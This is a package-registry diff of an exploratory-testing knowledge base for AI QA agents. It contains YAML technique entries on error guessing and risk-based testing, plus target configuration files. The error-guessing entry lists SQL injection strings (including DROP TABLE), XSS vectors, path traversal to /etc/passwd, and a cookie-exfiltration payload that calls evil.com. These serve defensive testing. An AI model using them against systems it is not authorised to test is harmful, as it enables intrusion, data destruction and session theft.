qualiow-exploratory-testing 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (60) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +214 -0
  3. package/data/domains/_default.yml +167 -0
  4. package/data/domains/ecommerce.yml +198 -0
  5. package/data/domains/fintech.yml +207 -0
  6. package/data/domains/marketing.yml +202 -0
  7. package/data/domains/saas.yml +206 -0
  8. package/data/knowledge/changelog.yml +75 -0
  9. package/data/knowledge/custom/.gitkeep +0 -0
  10. package/data/knowledge/learned-patterns.md +40 -0
  11. package/data/knowledge/manifest.yml +141 -0
  12. package/data/knowledge/releases/v0.1.0/entries/checklist-accessibility-wcag.yml +326 -0
  13. package/data/knowledge/releases/v0.1.0/entries/heuristic-few-hiccupps.yml +194 -0
  14. package/data/knowledge/releases/v0.1.0/entries/heuristic-goldilocks.yml +143 -0
  15. package/data/knowledge/releases/v0.1.0/entries/heuristic-rcrcrc.yml +207 -0
  16. package/data/knowledge/releases/v0.1.0/entries/heuristic-sfdipot.yml +171 -0
  17. package/data/knowledge/releases/v0.1.0/entries/heuristic-test-tours.yml +253 -0
  18. package/data/knowledge/releases/v0.1.0/entries/reference-exploratory-testing-types.yml +84 -0
  19. package/data/knowledge/releases/v0.1.0/entries/reference-heuristic-praxis.yml +95 -0
  20. package/data/knowledge/releases/v0.1.0/entries/technique-boundary-testing.yml +203 -0
  21. package/data/knowledge/releases/v0.1.0/entries/technique-business-logic-race-conditions.yml +146 -0
  22. package/data/knowledge/releases/v0.1.0/entries/technique-data-integrity-testing.yml +269 -0
  23. package/data/knowledge/releases/v0.1.0/entries/technique-error-guessing.yml +216 -0
  24. package/data/knowledge/releases/v0.1.0/entries/technique-risk-based-testing.yml +298 -0
  25. package/data/knowledge/releases/v0.1.0/release.yml +22 -0
  26. package/data/targets/_default.yml +11 -0
  27. package/data/targets/testers-ai.yml +14 -0
  28. package/data/templates/bug-report.md +178 -0
  29. package/data/templates/coverage-map.md +70 -0
  30. package/data/templates/session-charter.md +77 -0
  31. package/data/templates/session-report.md +112 -0
  32. package/dist/cli/index.d.ts +1 -0
  33. package/dist/cli/index.js +1757 -0
  34. package/dist/cli/index.js.map +1 -0
  35. package/dist/index.d.ts +899 -0
  36. package/dist/index.js +1133 -0
  37. package/dist/index.js.map +1 -0
  38. package/docs/GETTING-STARTED.md +265 -0
  39. package/package.json +70 -0
  40. package/skills/qa-explore/SKILL.md +70 -0
  41. package/skills/qa-explore/phases/00-setup.md +96 -0
  42. package/skills/qa-explore/phases/01-auth.md +34 -0
  43. package/skills/qa-explore/phases/02-charter.md +112 -0
  44. package/skills/qa-explore/phases/03-discovery.md +49 -0
  45. package/skills/qa-explore/phases/04-journeys.md +51 -0
  46. package/skills/qa-explore/phases/05-features.md +55 -0
  47. package/skills/qa-explore/phases/06-edge-cases.md +69 -0
  48. package/skills/qa-explore/phases/07-reporting.md +162 -0
  49. package/skills/qa-explore/references/context-integration.md +44 -0
  50. package/skills/qa-explore/references/security-rules.md +43 -0
  51. package/skills/qa-explore/references/session-rules.md +33 -0
  52. package/skills/qa-explore/references/severity-guide.md +14 -0
  53. package/skills/qa-explore-cleanup/SKILL.md +39 -0
  54. package/skills/qa-explore-feedback/SKILL.md +73 -0
  55. package/skills/qa-explore-quick/SKILL.md +80 -0
  56. package/skills/qa-explore-report/SKILL.md +62 -0
  57. package/skills/qa-gather/SKILL.md +198 -0
  58. package/skills/qa-knowledge-add/SKILL.md +91 -0
  59. package/skills/qa-knowledge-list/SKILL.md +54 -0
  60. package/skills/qa-target-setup/SKILL.md +106 -0
@@ -0,0 +1,216 @@
1
+ id: technique-error-guessing
2
+ version: "0.1.0"
3
+ type: technique
4
+ name: "Error Guessing"
5
+ description: >
6
+ An experience-based technique where the tester uses knowledge of common
7
+ software failures to predict and provoke errors. This is your arsenal
8
+ of known-bad inputs and adversarial scenarios that catch validation gaps,
9
+ security holes, and error-handling defects.
10
+ author: "Classic testing technique"
11
+ source: "Adapted from OWASP, security testing, and field experience"
12
+ tags: [security, negative-testing, injection, error-handling]
13
+ domains: [all]
14
+ priority: medium
15
+ added: "2026-03-28"
16
+
17
+ content:
18
+ summary: >
19
+ Error guessing is the art of predicting where bugs hide based on experience.
20
+ Rather than testing randomly, you systematically probe with inputs and
21
+ scenarios that historically cause failures. Every category below represents
22
+ a class of bugs that recurs across products — use them as a checklist of
23
+ attack vectors during negative testing.
24
+
25
+ categories:
26
+ - name: "Null and Empty Inputs"
27
+ description: "Test how the system handles the absence of data."
28
+ risk: "Null pointer exceptions, blank screens, database errors, data corruption."
29
+ test_values:
30
+ - { value: "", label: "Empty string" }
31
+ - { value: "null", label: "Literal string 'null'" }
32
+ - { value: "NULL", label: "Uppercase NULL" }
33
+ - { value: "None", label: "Python None as string" }
34
+ - { value: "nil", label: "Ruby/Go nil as string" }
35
+ - { value: "undefined", label: "JavaScript undefined as string" }
36
+ - { value: "NaN", label: "Not a Number as string" }
37
+ - { value: " ", label: "Single space" }
38
+ - { value: "\\t", label: "Tab character" }
39
+ - { value: "\\n", label: "Newline character" }
40
+ - { value: "\\r\\n", label: "CRLF" }
41
+ - { value: "\\0", label: "Null byte" }
42
+ playwright_check: >
43
+ fill <ref> '' then click submit — check for unhandled errors in console and network.
44
+
45
+ - name: "Special Characters"
46
+ description: "Characters that often break parsers, templates, and storage."
47
+ risk: "Injection attacks, rendering errors, truncation, encoding failures."
48
+ test_values:
49
+ - { value: "' \" \\ / < > & | ; : @ # $ % ^ * ( ) { } [ ]", label: "Common special chars" }
50
+ - { value: "O'Brien", label: "Apostrophe in name — SQL and display" }
51
+ - { value: "foo@bar.com<script>", label: "Email with script tag" }
52
+ - { value: "../../../etc/passwd", label: "Path traversal" }
53
+ - { value: "file:///etc/hosts", label: "Local file URI" }
54
+ - { value: "\\x00\\x01\\x02", label: "Control characters" }
55
+ - { value: "{{template}}", label: "Template injection" }
56
+ - { value: "${7*7}", label: "Expression language injection" }
57
+ - { value: "%00", label: "URL-encoded null byte" }
58
+ - { value: "%0d%0a", label: "CRLF injection" }
59
+ - { value: "data:text/html,<script>alert(1)</script>", label: "Data URI with script" }
60
+ playwright_check: >
61
+ fill <ref> with each value, submit, then check page snapshot and console for errors or injected content.
62
+
63
+ - name: "Unicode and Internationalization"
64
+ description: "Non-ASCII text that tests encoding, rendering, and storage."
65
+ risk: "Mojibake, truncation, layout breaking, sorting bugs, homoglyph attacks."
66
+ test_values:
67
+ - { value: "Schrodinger", label: "German umlaut (basic Latin extended)" }
68
+ - { value: "cafe\\u0301", label: "Combining accent — e + combining acute (NFD vs NFC)" }
69
+ - { value: "\\u4f60\\u597d\\u4e16\\u754c", label: "Chinese characters" }
70
+ - { value: "\\u0645\\u0631\\u062d\\u0628\\u0627", label: "Arabic text (RTL)" }
71
+ - { value: "\\U0001f4a9", label: "Emoji — pile of poo (multi-byte)" }
72
+ - { value: "\\U0001f468\\u200d\\U0001f469\\u200d\\U0001f467\\u200d\\U0001f466", label: "Family emoji (ZWJ sequence)" }
73
+ - { value: "\\u200b", label: "Zero-width space — invisible character" }
74
+ - { value: "\\u200e", label: "Left-to-right mark" }
75
+ - { value: "\\u200f", label: "Right-to-left mark" }
76
+ - { value: "\\ufeff", label: "BOM (byte order mark)" }
77
+ - { value: "\\u0410", label: "Cyrillic A — looks like Latin A (homoglyph)" }
78
+ - { value: "a\\u0300\\u0301\\u0302\\u0303\\u0304\\u0305\\u0306\\u0307\\u0308\\u0309", label: "Zalgo text — stacked combining marks" }
79
+ - { value: "\\ud800", label: "Unpaired surrogate — invalid UTF-16" }
80
+ playwright_check: >
81
+ fill <ref> with Unicode values, submit, reload page, and verify text is preserved correctly in snapshot.
82
+
83
+ - name: "SQL Injection Patterns"
84
+ description: "Classic SQL injection payloads to test server-side input sanitization."
85
+ risk: "Data breach, data deletion, authentication bypass, full database compromise."
86
+ test_values:
87
+ - { value: "' OR '1'='1", label: "Classic tautology" }
88
+ - { value: "' OR '1'='1' --", label: "Tautology with comment" }
89
+ - { value: "'; DROP TABLE users; --", label: "DROP TABLE" }
90
+ - { value: "1; SELECT * FROM users", label: "Stacked query" }
91
+ - { value: "' UNION SELECT null, null, null --", label: "UNION-based extraction" }
92
+ - { value: "1 AND 1=1", label: "Boolean-based blind SQLi" }
93
+ - { value: "1 AND SLEEP(5)", label: "Time-based blind SQLi — observe response delay" }
94
+ - { value: "admin'--", label: "Login bypass" }
95
+ - { value: "1' ORDER BY 1--", label: "Column enumeration" }
96
+ - { value: "\\' OR 1=1#", label: "MySQL comment style" }
97
+ playwright_check: >
98
+ fill <ref> with each payload, submit, check network responses for SQL errors or unexpected data.
99
+ If using time-based: measure response time — a 5+ second delay suggests injection.
100
+
101
+ - name: "XSS Vectors"
102
+ description: "Cross-site scripting payloads to test output encoding and sanitization."
103
+ risk: "Session hijacking, credential theft, defacement, malware distribution."
104
+ test_values:
105
+ - { value: "<script>alert('xss')</script>", label: "Basic script tag" }
106
+ - { value: "<img src=x onerror=alert('xss')>", label: "IMG onerror" }
107
+ - { value: "<svg onload=alert('xss')>", label: "SVG onload" }
108
+ - { value: "javascript:alert('xss')", label: "JavaScript URI" }
109
+ - { value: "<body onload=alert('xss')>", label: "Body onload" }
110
+ - { value: "'\"><script>alert('xss')</script>", label: "Breaking out of attribute" }
111
+ - { value: "<iframe src='javascript:alert(1)'></iframe>", label: "Iframe injection" }
112
+ - { value: "<details open ontoggle=alert('xss')>", label: "Details/ontoggle" }
113
+ - { value: "<a href='javascript:alert(1)'>click</a>", label: "Anchor javascript href" }
114
+ - { value: "{{constructor.constructor('alert(1)')()}}", label: "Angular template injection" }
115
+ - { value: "<img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>", label: "Cookie exfiltration" }
116
+ playwright_check: >
117
+ fill <ref> with payload, submit, then take a snapshot — if the script content appears
118
+ unescaped in the DOM or a dialog appears, XSS is confirmed. Also check console for errors.
119
+
120
+ - name: "Large Inputs"
121
+ description: "Oversized data to test buffer handling, performance, and display."
122
+ risk: "Buffer overflow, denial of service, UI breaking, out of memory."
123
+ test_values:
124
+ - { value: "A x 1000", label: "1KB string" }
125
+ - { value: "A x 10000", label: "10KB string" }
126
+ - { value: "A x 100000", label: "100KB string" }
127
+ - { value: "A x 1000000", label: "1MB string — likely to cause issues" }
128
+ - { value: "9 x 20 (99999999999999999999)", label: "20-digit number" }
129
+ - { value: "Repeat 'word ' x 10000", label: "10K word paragraph" }
130
+ - { value: "Line\\n x 10000", label: "10K line breaks" }
131
+ - { value: "emoji x 1000", label: "1K emoji — multi-byte stress" }
132
+ playwright_check: >
133
+ fill <ref> with a large string (start with 10K chars), submit, check for:
134
+ 1. Page responsiveness (snapshot should return within 5 seconds)
135
+ 2. Network response status codes
136
+ 3. Console errors (memory, payload too large)
137
+
138
+ - name: "Concurrent Operations"
139
+ description: "Race conditions from simultaneous actions."
140
+ risk: "Data corruption, duplicate records, incorrect totals, deadlocks."
141
+ test_values:
142
+ - label: "Double-click submit button"
143
+ action: "click <ref> then immediately click <ref> again"
144
+ - label: "Same form in two tabs"
145
+ action: "Open the same edit page in two browser tabs, edit in both, submit both"
146
+ - label: "Rapid sequential requests"
147
+ action: "Submit the same action 5 times within 1 second"
148
+ - label: "Edit while another user is editing"
149
+ action: "Two sessions editing the same record — last write wins? merge? error?"
150
+ - label: "Delete while viewing"
151
+ action: "Delete a record in tab A while tab B is viewing its detail page"
152
+ playwright_check: >
153
+ For double-submit: click <ref> twice rapidly with no delay.
154
+ Check network panel for duplicate requests and verify only one record was created.
155
+
156
+ - name: "Interrupted Flows"
157
+ description: "What happens when a workflow is interrupted mid-way."
158
+ risk: "Orphaned data, inconsistent state, data loss, stuck workflows."
159
+ test_values:
160
+ - label: "Browser back during multi-step form"
161
+ action: "Navigate back at each step of a wizard/checkout flow"
162
+ - label: "Close tab during save"
163
+ action: "Close the browser tab while a save operation is in progress"
164
+ - label: "Network disconnect during submit"
165
+ action: "route '**/api/**' --status 0 to simulate network failure during form submit"
166
+ - label: "Refresh during loading"
167
+ action: "Press F5 while data is still loading"
168
+ - label: "Session timeout during edit"
169
+ action: "Start editing, wait for session to expire, then try to save"
170
+ - label: "Cancel during upload"
171
+ action: "Start a file upload and cancel it at 50%"
172
+ playwright_check: >
173
+ Use route command to simulate network failures:
174
+ route '**/api/**' --status 503
175
+ Then submit the form and check error handling in snapshot and console.
176
+
177
+ - name: "Network Failures"
178
+ description: "Simulate network problems to test resilience and error handling."
179
+ risk: "Data loss, infinite spinners, cryptic errors, retry storms."
180
+ test_values:
181
+ - label: "API returns 500"
182
+ action: "route '**/api/**' --status 500 --body '{\"error\": \"Internal Server Error\"}'"
183
+ - label: "API returns 403"
184
+ action: "route '**/api/**' --status 403 --body '{\"error\": \"Forbidden\"}'"
185
+ - label: "API returns 404"
186
+ action: "route '**/api/**' --status 404"
187
+ - label: "API returns 429 (rate limited)"
188
+ action: "route '**/api/**' --status 429 --body '{\"error\": \"Too Many Requests\"}'"
189
+ - label: "API timeout (very slow response)"
190
+ action: "route '**/api/**' --status 200 --delay 30000"
191
+ - label: "API returns empty body"
192
+ action: "route '**/api/**' --status 200 --body ''"
193
+ - label: "API returns malformed JSON"
194
+ action: "route '**/api/**' --status 200 --body 'not json'"
195
+ - label: "API returns HTML error page"
196
+ action: "route '**/api/**' --status 200 --body '<html>Error</html>'"
197
+ playwright_check: >
198
+ Use playwright-cli route command to mock failures before triggering the action:
199
+ route '**/api/endpoint' --status 500
200
+ Then perform the action and check snapshot for user-friendly error messages.
201
+
202
+ when_to_use:
203
+ - "During the Saboteur Tour — this is your primary ammunition."
204
+ - "When testing any input field — try at least null/empty and one injection payload."
205
+ - "When testing error handling — simulate network failures and observe recovery."
206
+ - "Before security audits — find the obvious vulnerabilities first."
207
+ - "When testing forms — combine with boundary testing for thorough coverage."
208
+
209
+ gotchas:
210
+ - "Always test injection on the server side — bypass client validation using devtools or route mocking."
211
+ - "XSS can be stored (persisted in DB) or reflected (in URL params) — test both vectors."
212
+ - "SQL injection may not show visible errors — use time-based payloads (SLEEP) to detect blind injection."
213
+ - "Test file upload separately — rename malicious files, change Content-Type headers, embed scripts in images."
214
+ - "Concurrent operations are hard to test manually — focus on double-submit and multi-tab scenarios."
215
+ - "Network failure testing is critical for SPAs — they often show blank screens or infinite spinners instead of helpful errors."
216
+ - "Do not use actually destructive payloads (DROP TABLE) on production systems — observe the response to the string, do not execute it."
@@ -0,0 +1,298 @@
1
+ id: technique-risk-based-testing
2
+ version: "0.1.0"
3
+ type: technique
4
+ name: "Risk-Based Testing"
5
+ description: >
6
+ A strategic testing technique that prioritizes testing effort based on risk
7
+ assessment. Risk = Probability x Impact. Features with higher risk get more
8
+ testing time, deeper coverage, and earlier attention. This technique answers
9
+ the question every tester faces: "I cannot test everything — what should I
10
+ test first?"
11
+ author: "Classic testing technique"
12
+ source: "Adapted from multiple sources — ISTQB, James Bach, Ministry of Testing"
13
+ tags: [risk, prioritization, strategy, planning]
14
+ domains: [all]
15
+ priority: high
16
+ added: "2026-03-28"
17
+
18
+ content:
19
+ summary: >
20
+ Risk-based testing allocates testing effort proportionally to risk. Instead
21
+ of testing everything equally, you identify the areas where failure is most
22
+ likely and most damaging, then focus testing there first. This requires
23
+ assessing both the probability of failure (how likely is a bug?) and the
24
+ impact of failure (how bad is it if there is a bug?). The result is a
25
+ prioritized test plan that maximizes bug-finding ROI.
26
+
27
+ core_formula:
28
+ description: "The fundamental risk equation."
29
+ formula: "Risk = Probability x Impact"
30
+ components:
31
+ - name: Probability (Likelihood)
32
+ description: "How likely is it that this area contains a bug?"
33
+ factors:
34
+ - "Complexity of the code or feature"
35
+ - "Amount of recent change (more changes = more risk)"
36
+ - "Developer experience level (junior devs = higher risk)"
37
+ - "Technology newness (new frameworks, libraries, APIs)"
38
+ - "Historical bug density (areas with past bugs tend to have more)"
39
+ - "Test coverage gaps (untested code = unknown risk)"
40
+ - "Time pressure during development (rushed code = more bugs)"
41
+ - "Number of external dependencies (each is a failure point)"
42
+ - name: Impact (Severity)
43
+ description: "How bad is it if a bug exists here?"
44
+ factors:
45
+ - "Number of users affected"
46
+ - "Revenue impact (direct financial loss)"
47
+ - "Brand and reputation damage"
48
+ - "Legal and compliance exposure"
49
+ - "Data loss or corruption"
50
+ - "Security breach potential"
51
+ - "Workaround availability (is there an alternative?)"
52
+ - "Recovery difficulty (how hard is it to fix and deploy?)"
53
+
54
+ risk_matrix:
55
+ description: >
56
+ A 2-axis grid for visually categorizing risk. Plot each feature or area
57
+ on the grid based on likelihood and impact.
58
+ grid:
59
+ - { likelihood: high, impact: high, priority: "Critical — test first and deepest", action: "Allocate 40% of testing time", color: "red" }
60
+ - { likelihood: high, impact: medium, priority: "High — test thoroughly", action: "Allocate 20% of testing time", color: "orange" }
61
+ - { likelihood: high, impact: low, priority: "Medium — test standard", action: "Allocate 10% of testing time", color: "yellow" }
62
+ - { likelihood: medium, impact: high, priority: "High — test thoroughly", action: "Allocate 20% of testing time", color: "orange" }
63
+ - { likelihood: medium, impact: medium, priority: "Medium — test standard", action: "Allocate 10% of testing time", color: "yellow" }
64
+ - { likelihood: medium, impact: low, priority: "Low — smoke test", action: "Allocate 5% of testing time", color: "green" }
65
+ - { likelihood: low, impact: high, priority: "Medium — test standard", action: "Allocate 10% of testing time", color: "yellow" }
66
+ - { likelihood: low, impact: medium, priority: "Low — smoke test", action: "Allocate 5% of testing time", color: "green" }
67
+ - { likelihood: low, impact: low, priority: "Minimal — skip or automate", action: "Allocate remaining time if available", color: "green" }
68
+
69
+ risk_priority_number:
70
+ description: >
71
+ A more granular scoring system from FMEA (Failure Mode and Effects Analysis).
72
+ Rate each factor on a 1-10 scale and multiply to get a Risk Priority Number.
73
+ formula: "RPN = Severity x Likelihood x Detectability"
74
+ components:
75
+ - name: Severity
76
+ scale: "1 (negligible cosmetic issue) to 10 (data loss, security breach, system down)"
77
+ examples:
78
+ - { score: 1, description: "Cosmetic — wrong font size, minor alignment" }
79
+ - { score: 3, description: "Minor — feature works but UX is degraded" }
80
+ - { score: 5, description: "Moderate — feature partially broken, workaround exists" }
81
+ - { score: 7, description: "Major — feature broken for some users, no workaround" }
82
+ - { score: 9, description: "Critical — data corruption, security vulnerability" }
83
+ - { score: 10, description: "Catastrophic — system down, data breach, financial loss" }
84
+ - name: Likelihood
85
+ scale: "1 (extremely unlikely) to 10 (almost certain)"
86
+ examples:
87
+ - { score: 1, description: "Mature, stable code with no recent changes" }
88
+ - { score: 3, description: "Established code with minor modifications" }
89
+ - { score: 5, description: "Moderate changes, some complexity" }
90
+ - { score: 7, description: "Significant new code, complex logic" }
91
+ - { score: 9, description: "Brand new feature, tight deadline, complex integrations" }
92
+ - { score: 10, description: "Rewrite of critical system, new technology, no tests" }
93
+ - name: Detectability
94
+ scale: "1 (easily caught by automated tests) to 10 (invisible until production incident)"
95
+ examples:
96
+ - { score: 1, description: "Caught by existing unit and integration tests" }
97
+ - { score: 3, description: "Caught by manual smoke testing" }
98
+ - { score: 5, description: "Requires specific scenarios to reveal" }
99
+ - { score: 7, description: "Only appears under load or specific configurations" }
100
+ - { score: 9, description: "Race condition, intermittent, data-dependent" }
101
+ - { score: 10, description: "Silent data corruption — no visible error" }
102
+ interpretation:
103
+ - "RPN 1-100: Low risk — standard testing"
104
+ - "RPN 101-300: Medium risk — thorough testing, explicit test cases"
105
+ - "RPN 301-600: High risk — deep testing, multiple techniques, peer review"
106
+ - "RPN 601-1000: Critical risk — maximum attention, exploratory + scripted + monitoring"
107
+
108
+ risk_categories:
109
+ - name: Business Risks
110
+ description: "Risks that threaten business goals, revenue, or customer satisfaction."
111
+ examples:
112
+ - "Checkout flow failure loses sales"
113
+ - "Pricing calculation error causes financial loss"
114
+ - "Customer data exposed damages trust"
115
+ - "Feature launch failure misses market window"
116
+
117
+ - name: Operational Risks
118
+ description: "Risks related to running the system in production."
119
+ examples:
120
+ - "System downtime during peak hours"
121
+ - "Database performance degradation under load"
122
+ - "Monitoring gaps — failures not detected"
123
+ - "Deployment failures causing rollback"
124
+
125
+ - name: Technical Risks
126
+ description: "Risks from technology choices, architecture, and implementation."
127
+ examples:
128
+ - "New framework version introduces breaking changes"
129
+ - "Third-party API changes without notice"
130
+ - "Database migration data loss"
131
+ - "Memory leaks under sustained load"
132
+
133
+ - name: Compliance Risks
134
+ description: "Risks of violating regulations, standards, or contractual obligations."
135
+ examples:
136
+ - "GDPR violation — personal data handling"
137
+ - "WCAG non-compliance — accessibility lawsuit"
138
+ - "PCI DSS violation — credit card data exposure"
139
+ - "SOC 2 audit failure — security controls"
140
+
141
+ - name: Project Risks
142
+ description: "Risks to the project timeline, scope, or team effectiveness."
143
+ examples:
144
+ - "Key developer leaves mid-sprint"
145
+ - "Requirements change after development starts"
146
+ - "Testing environment unavailable"
147
+ - "Dependencies delivered late"
148
+
149
+ feature_risk_ranking:
150
+ description: "Allocate testing time based on feature risk priority."
151
+ levels:
152
+ - level: "P0 — Critical"
153
+ time_allocation: "40% of total testing time"
154
+ criteria: "Revenue-generating, high user impact, recently changed, complex"
155
+ approach: "Full exploratory testing, boundary analysis, error guessing, race conditions, multiple browsers"
156
+ examples:
157
+ - "Payment processing"
158
+ - "User authentication and authorization"
159
+ - "Core data creation and modification flows"
160
+
161
+ - level: "P1 — High"
162
+ time_allocation: "30% of total testing time"
163
+ criteria: "Core features, moderate complexity, some dependencies"
164
+ approach: "Exploratory testing, happy and unhappy paths, key boundaries"
165
+ examples:
166
+ - "Search and filtering"
167
+ - "User profile management"
168
+ - "Notification system"
169
+
170
+ - level: "P2 — Medium"
171
+ time_allocation: "20% of total testing time"
172
+ criteria: "Supporting features, low change frequency, moderate user impact"
173
+ approach: "Happy path + key error scenarios, spot-check boundaries"
174
+ examples:
175
+ - "Settings and preferences"
176
+ - "Help and documentation pages"
177
+ - "Export and reporting features"
178
+
179
+ - level: "P3 — Low"
180
+ time_allocation: "10% of total testing time"
181
+ criteria: "Cosmetic, rarely used, low impact, stable code"
182
+ approach: "Quick smoke test, visual inspection"
183
+ examples:
184
+ - "About page and legal pages"
185
+ - "Rarely used admin utilities"
186
+ - "Cosmetic polish items"
187
+
188
+ techniques:
189
+ - name: Riskstorming
190
+ description: >
191
+ A collaborative workshop technique where the team collectively identifies
192
+ and rates risks on a visual board. Each team member brings their perspective
193
+ (dev sees technical risks, PM sees business risks, tester sees quality risks).
194
+ process:
195
+ - "Draw the feature's architecture or flow on a whiteboard."
196
+ - "Each participant silently adds risk sticky notes to the areas they think are risky."
197
+ - "Group and discuss — where do multiple people see risk?"
198
+ - "Rate each risk using the risk matrix or RPN."
199
+ - "Create test charters targeting the highest-rated risks."
200
+ tip: "AI agents can simulate Riskstorming by systematically evaluating each SFDIPOT dimension for probability and impact."
201
+
202
+ - name: Nightmare Headline
203
+ description: >
204
+ Imagine the worst possible newspaper headline about a bug in your software.
205
+ Work backwards from that headline to identify what must be tested to
206
+ prevent it from becoming reality.
207
+ process:
208
+ - "Brainstorm worst-case headlines: 'Bank App Transfers $10M to Wrong Account Due to Decimal Bug'"
209
+ - "For each headline, identify the feature and failure mode."
210
+ - "Rate the likelihood and impact."
211
+ - "Create specific test scenarios that would catch the bug before release."
212
+ examples:
213
+ ecommerce:
214
+ - headline: "'Online Store Charges Customers 100x the Listed Price'"
215
+ feature: "Pricing calculation"
216
+ test: "Verify price x quantity calculation with decimal precision, test currency conversion"
217
+ - headline: "'Customer Data of 500K Users Leaked Through Search Feature'"
218
+ feature: "Search with user data exposure"
219
+ test: "Test search results for data leakage, verify authorization on search API"
220
+ banking:
221
+ - headline: "'Banking App Allows Negative Balance Transfers, Losing $2M Overnight'"
222
+ feature: "Transfer validation"
223
+ test: "Test transfers with amounts exceeding balance, test concurrent transfers, test negative amounts"
224
+ - headline: "'Interest Calculation Error Affects 100K Savings Accounts'"
225
+ feature: "Interest calculation engine"
226
+ test: "Verify calculations at year boundaries, leap years, account type transitions"
227
+ saas:
228
+ - headline: "'SaaS Platform Gives Free Users Access to Enterprise Features After Trial Expires'"
229
+ feature: "Subscription tier enforcement"
230
+ test: "Test feature access after trial end, test downgrade flows, test with expired sessions"
231
+
232
+ risk_factors_deep_dive:
233
+ developer_experience:
234
+ description: >
235
+ Code written by developers with less experience in the codebase or technology
236
+ carries higher risk. This is not about skill level — a senior developer new
237
+ to a codebase is also a risk factor.
238
+ indicators:
239
+ - "New team member's first contributions"
240
+ - "First time using a particular library or framework"
241
+ - "Code written during onboarding period"
242
+ - "Pair programming was not used for complex areas"
243
+ test_response: "Allocate extra testing time, focus on edge cases the developer may not have considered"
244
+
245
+ change_impact:
246
+ description: >
247
+ Recently changed code has higher risk than stable code. The more lines changed,
248
+ the more files touched, and the more dependencies affected, the higher the risk.
249
+ indicators:
250
+ - "Large pull requests (500+ lines changed)"
251
+ - "Changes to shared libraries or utilities"
252
+ - "Database schema changes"
253
+ - "API contract changes"
254
+ - "Infrastructure or deployment changes"
255
+ test_response: "Focus testing on changed code and its dependents, verify backwards compatibility"
256
+
257
+ practical_examples:
258
+ ecommerce:
259
+ scenario: "Testing a new product catalog feature for an e-commerce site"
260
+ risk_assessment:
261
+ - { area: "Add to cart from new catalog", likelihood: "high", impact: "high", rpn: "Severity:9 x Likelihood:7 x Detectability:3 = 189", priority: "P0" }
262
+ - { area: "Product search in new catalog", likelihood: "medium", impact: "high", rpn: "Severity:7 x Likelihood:5 x Detectability:3 = 105", priority: "P1" }
263
+ - { area: "Product image gallery", likelihood: "medium", impact: "low", rpn: "Severity:3 x Likelihood:5 x Detectability:2 = 30", priority: "P3" }
264
+ - { area: "Price display with currency", likelihood: "high", impact: "high", rpn: "Severity:9 x Likelihood:6 x Detectability:5 = 270", priority: "P0" }
265
+
266
+ banking:
267
+ scenario: "Testing a new fund transfer feature for a banking app"
268
+ risk_assessment:
269
+ - { area: "Transfer execution", likelihood: "medium", impact: "critical", rpn: "Severity:10 x Likelihood:5 x Detectability:4 = 200", priority: "P0" }
270
+ - { area: "Balance validation", likelihood: "high", impact: "critical", rpn: "Severity:10 x Likelihood:7 x Detectability:3 = 210", priority: "P0" }
271
+ - { area: "Transfer history display", likelihood: "low", impact: "medium", rpn: "Severity:5 x Likelihood:3 x Detectability:2 = 30", priority: "P2" }
272
+ - { area: "Concurrent transfers (race condition)", likelihood: "high", impact: "critical", rpn: "Severity:10 x Likelihood:8 x Detectability:9 = 720", priority: "P0 Critical" }
273
+
274
+ saas:
275
+ scenario: "Testing a new team collaboration feature for a SaaS platform"
276
+ risk_assessment:
277
+ - { area: "Permission enforcement across teams", likelihood: "high", impact: "high", rpn: "Severity:8 x Likelihood:7 x Detectability:6 = 336", priority: "P0" }
278
+ - { area: "Real-time collaboration sync", likelihood: "high", impact: "medium", rpn: "Severity:6 x Likelihood:8 x Detectability:7 = 336", priority: "P0" }
279
+ - { area: "Team member invitation flow", likelihood: "medium", impact: "medium", rpn: "Severity:5 x Likelihood:5 x Detectability:3 = 75", priority: "P2" }
280
+ - { area: "Activity audit log", likelihood: "low", impact: "high", rpn: "Severity:8 x Likelihood:3 x Detectability:8 = 192", priority: "P1" }
281
+
282
+ when_to_use:
283
+ - "At the start of every testing effort — before you test anything, assess risk first."
284
+ - "During sprint planning — use risk assessment to allocate QA time across stories."
285
+ - "When time is limited — risk-based testing maximizes the value of limited testing time."
286
+ - "Before major releases — comprehensive risk assessment drives the regression test plan."
287
+ - "When prioritizing bug fixes — severity and impact determine fix order."
288
+ - "When communicating with stakeholders — risk language translates testing decisions into business terms."
289
+
290
+ gotchas:
291
+ - "Risk assessment is subjective — get input from developers, product owners, and support, not just testers."
292
+ - "Do not skip low-risk areas entirely — they still deserve a smoke test. The risk assessment might be wrong."
293
+ - "Re-assess risk regularly — a low-risk area becomes high-risk when it gets significant changes."
294
+ - "Detectability is often underestimated — silent data corruption has the highest detectability score (hardest to detect) and is frequently overlooked."
295
+ - "Do not confuse risk-based testing with only testing the risky stuff — it is about proportional allocation, not exclusion."
296
+ - "Nightmare Headline is the most powerful technique for communicating risk to non-technical stakeholders."
297
+ - "AI agents should compute RPN scores explicitly during the planning phase rather than relying on gut feeling."
298
+ - "Combine with RCRCRC for regression testing — RCRCRC identifies WHERE, risk-based testing determines HOW MUCH."
@@ -0,0 +1,22 @@
1
+ # Release metadata for v0.1.0
2
+ version: "0.1.0"
3
+ date: "2026-03-28"
4
+ author: "qualiow"
5
+ status: active
6
+
7
+ notes: >
8
+ Initial release of the Qualiow exploratory testing knowledge base.
9
+ Contains the foundational heuristics, techniques, and checklists that
10
+ guide every exploratory testing session. Covers what to test (SFDIPOT),
11
+ how to recognize bugs (FEW HICCUPPS), how to explore (Test Tours),
12
+ and core techniques (boundary testing, error guessing, accessibility).
13
+
14
+ entry_count: 6
15
+
16
+ entries:
17
+ - heuristic-sfdipot
18
+ - heuristic-few-hiccupps
19
+ - heuristic-test-tours
20
+ - technique-boundary-testing
21
+ - technique-error-guessing
22
+ - checklist-accessibility-wcag
@@ -0,0 +1,11 @@
1
+ id: default
2
+ name: "Ad-hoc Target"
3
+ base_url: ""
4
+ domain: _default
5
+ auth:
6
+ strategy: none
7
+ browser:
8
+ headless: false
9
+ viewport: { width: 1280, height: 720 }
10
+ scope:
11
+ max_depth: 3
@@ -0,0 +1,14 @@
1
+ id: testers-ai
2
+ name: "Testers.ai Testing Playground"
3
+ base_url: "https://testers.ai/testing/"
4
+ domain: _default
5
+ auth:
6
+ strategy: none
7
+ browser:
8
+ headless: false
9
+ viewport: { width: 1280, height: 720 }
10
+ scope:
11
+ start_pages: ["/testing/"]
12
